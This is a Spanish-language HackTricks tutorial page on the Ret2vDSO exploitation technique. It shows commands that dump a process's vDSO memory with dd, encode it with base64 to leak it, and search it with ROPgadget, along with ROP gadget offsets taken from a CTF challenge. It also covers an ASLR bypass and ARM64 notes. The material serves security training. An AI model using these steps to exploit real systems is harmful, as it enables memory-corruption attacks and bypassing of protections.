Ret2vDSO

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

Puede haber gadgets en la región vDSO, que es un pequeño ELF DSO mapeado por el kernel para proporcionar implementaciones en espacio de usuario rápidas de algunos kernel helpers. En este tipo de desafíos, normalmente se proporciona una imagen del kernel para volcar la región vDSO.

Localizando la base y las exportaciones del vDSO

La dirección base del vDSO se pasa en el vector auxiliar como AT_SYSINFO_EHDR, así que si puedes leer /proc/<pid>/auxv (o llamar a getauxval en un proceso auxiliar), puedes recuperar la base sin depender de un memory leak. Consulta Auxiliary Vector (auxv) and vDSO para formas prácticas de obtenerla.

Una vez que tengas la base, trata el vDSO como un ELF DSO normal (linux-vdso.so.1): volca el mapeo y usa readelf -Ws/objdump -d (o el kernel reference parser tools/testing/selftests/vDSO/parse_vdso.c) para resolver símbolos exportados y buscar gadgets. En x86 32-bit el vDSO comúnmente exporta __kernel_vsyscall, __kernel_sigreturn, y __kernel_rt_sigreturn; en x86_64 las exportaciones típicas incluyen __vdso_clock_gettime, __vdso_gettimeofday, y __vdso_time. Debido a que el vDSO usa versionado de símbolos, haz coincidir la versión esperada al resolver símbolos.

Siguiendo el ejemplo de https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/ es posible ver cómo se pudo volcar la sección vdso y moverla al host con:

# Find addresses
cat /proc/76/maps
08048000-08049000 r--p 00000000 00:02 317                                /target
08049000-0804a000 r-xp 00001000 00:02 317                                /target
0804a000-0804b000 rw-p 00002000 00:02 317                                /target
f7ff8000-f7ffc000 r--p 00000000 00:00 0                                  [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

# Dump it
dd if=/proc/76/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
8192+0 records in
8192+0 records out
8192 bytes (8.0KB) copied, 0.901154 seconds, 8.9KB/s

# Compress and leak it
gzip vdso
base64 vdso.gz

# Decompress and check of gadgets
echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'

ROP gadgets encontrados:

vdso_addr = 0xf7ffc000

int_0x80_xor_eax_eax_ret_addr = 0x8049010
bin_sh_addr = 0x804a800

# 0x0000057a : pop edx ; pop ecx ; ret
pop_edx_pop_ecx_ret_addr = vdso_addr + 0x57a

# 0x00000cca : mov dword ptr [edx], ecx ; add esp, 0x34 ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
mov_dword_ptr_edx_ecx_ret_addr = vdso_addr + 0xcca

# 0x00000ccb : or al, byte ptr [ebx + 0x5e5b34c4] ; pop edi ; pop ebp ; ret
or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb

# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd

Caution

Tenga en cuenta cómo podría ser posible bypass ASLR abusing the vdso si el kernel está compilado con CONFIG_COMPAT_VDSO, ya que la dirección del vdso no será aleatorizada: https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639

ARM64

Después de volcar y revisar la sección vdso de un binario en kali 2023.2 arm64, no pude encontrar allí ningún gadget interesante (no hay forma de controlar registros desde valores en la pila ni de controlar x30 para un ret) salvo una forma de llamar a una SROP. Consulte más información en el ejemplo de la página:

SROP - arm64

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks